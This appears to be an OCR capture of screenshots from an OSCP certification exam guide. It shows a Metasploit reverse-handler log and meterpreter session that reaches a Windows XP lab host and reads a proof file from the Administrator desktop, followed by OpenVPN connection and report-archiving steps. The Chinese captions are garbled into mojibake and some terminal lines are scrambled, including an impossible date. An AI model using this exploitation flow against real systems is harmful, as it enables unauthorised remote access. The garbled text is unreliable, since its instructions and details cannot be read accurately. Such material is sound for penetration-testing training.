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root@kali: ~

View Search Terminal Help

Started reverse handler on 172.16.157.131:4444
Automatically detecting the target...

Fingerprint: Windows XP - Service Pack 2 - lang:English
Selected Target: Windows XP SP2 English (AlwaysOn NX)
Attempting to trigger the vulnerability...

Sending stage (769536 bytes) to 172.16.157.164

Meterpreter session 3 opened (172.16.157.131:4444 -> 172.16.157.

meterpreter > shell

Process 1312 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

164:1037) at 2015-16-16 11:41:18 -0400

C:\WINDOWS\system32>type "C:\Documents and Settings‘\Administrator\Desktop\proof.txt"
type "C:\Documents and Settings\Administrator\Desktop\proof.txt"
529219186e355e0306299b1d233dd234

C:\WINDOWS\system32>ipconfig

ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain

IP Address. . - <« <« « « 2 = = =« o = 172.16.157.164
Subnet Mz e P .. T = = T L
Default Gateway . . . . . . . . . : 172.16.157.2

Ethernet adapter Bluetooth Network Connection:

Media State . . . . . . . . . . . : Media disconnected

C:\WINDOWS\system32>

Z 13 BRI
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1) ¥exam-connection.tar.bz2 X4 MZ X BB IR HAIPEE T B RIERIKalit 25,

2) REfF:

root@kali:~# tar xvfj exam-connection.tar.bz2
OS-XXXXX-0SCP.ovpn

3) {EROpenVPNZ&I5 E M RN EAYER:

root@kali:~# openvpn OS-XXXXX-OSCP.ovpn

4) BAZ LB FHRMEFRANA P RMBB U VPNRIT S5 :

root@kali:~# openvpn OS-XXXXX-OSCP.ovpn

OpenVPN 2.3.4 x86 64-pc-linux-gnu [SSL (OpenSSL)] [LzO] [EPOLL] [PKCS11] [MH] [IPv6] built o
Enter Auth Username: OS-XXXXX

Enter Auth Password: XXXXXXXXXX

Thu Mar 18 21:22:06 2016 WARNING: No server certificate verification method has been enabled
Thu Mar 18 21:22:06 2016 LZO compression initialized

Thu Mar 18 21:22:06 2016 UDPv4 link local: [undef]

Thu Mar 18 21:22:06 2016 UDPv4 link remote: x.x.x.x:1194

Thu Mar 18 WARNING: this configuration may cache passwords in memory

Thu Mar 18 [127.0.0.1] Peer Connection Initiated with x.x.x.x:1194

Thu Mar 18 21:22:07 2016 TUN/TAP device tap0 opened

Thu Mar 18 /sbin/ifconfig tap0 192.168.xx.xx netmask 255.255.254.0 mtu 1500

Thu Mar 18 21:22:07 2016 Initialization Sequence Completed
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FRAUTERIENHER: “OSCP-OS-XXXXX-Exam-Report.pdf’, HH“OS-XXXXX" & & A9
OsID,

MREHBRRIZIVNERS, WAAMEAMNTBINERXMHEFER: "OSCP-0S-XXXXX-Lab-
Report.pdf”,

FHEXH

R FE R OSIDIE R BB HAE AR T 19" OS-XXXXX "I BRI R IR, 72 AR BRI R, XA
PUBE AT ANEN: 7za-p

root@kali:~# 7z a OSCP-OS-XXXXX-Exam-Report.7z -pOS-XXXXX OSCP-0S-XXXXX-Exam-Report.pdf
7-zZip 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=en_US
Scanning

Updating archive OSCP-0S-XXXXX-Exam-Report.7z

Everything is Ok

S
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